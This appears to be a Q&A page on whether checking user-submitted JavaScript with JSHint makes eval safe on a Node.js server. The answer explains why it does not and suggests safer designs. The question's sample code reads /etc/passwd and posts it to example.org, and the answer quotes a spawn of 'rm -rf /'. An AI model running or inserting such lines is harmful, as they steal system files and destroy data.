Search code examples
javascriptnode.jsevaljshintjavascript-injection

Is javascript eval still dangerous if code is checked using (for example) jshint before eval?


Imagine for example (authorized) users are allowed to submit custom formatters to a nodejs server that would have some code like this.

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

Solution

  • User-provided text is never safe to eval, or at least should be considered never safe because the amount of effort you could put into proving safety far exceeds the amount of effort to accomplish what you want a different way.

    JSHint looks at code syntax and (perhaps somewhat subjective) measures of quality, and malicious code is perfectly capable of satisfying those two things. For example, this is lovely code that may well do a lot of damage if you let me run it on your server:

    require('child_process').spawn('rm', ['-rf', '/']);
    

    JSHint doesn't complain about it, and if you have a custom configuration, I can either modify my code to pass, or as mentioned in the comments, just include my own configuration that quiets JSHint down. What you should remember is that if you let me hand you code to run, I can do anything you can do. It's a little harder than just giving me access to edit your files directly, but there's no real way for you to prevent me from doing something you don't want.

    In this particular case, I'd think about a couple things:

    • Do you really need the user to write totally arbitrary formatters? Maybe you can give them some known set of options to choose from instead.
    • Do you know what the data to be formatted is (numbers, dates, etc.)? You can safely let them pick an arbitrary format to apply to the data type, like yyyy-mm-dd, without letting them pick their own JS, and there are lots of libraries you can pass the formatting strings to.
    • Can you run their code in their browser? They can already run whatever JS they want in a developer console, so if you can set it up so their formatter runs in a similar context, you haven't opened any holes. (I've never tried this; it still feels dicey.)

    Whatever you end up with, I'd keep JSHint's evil option disabled on your own code :)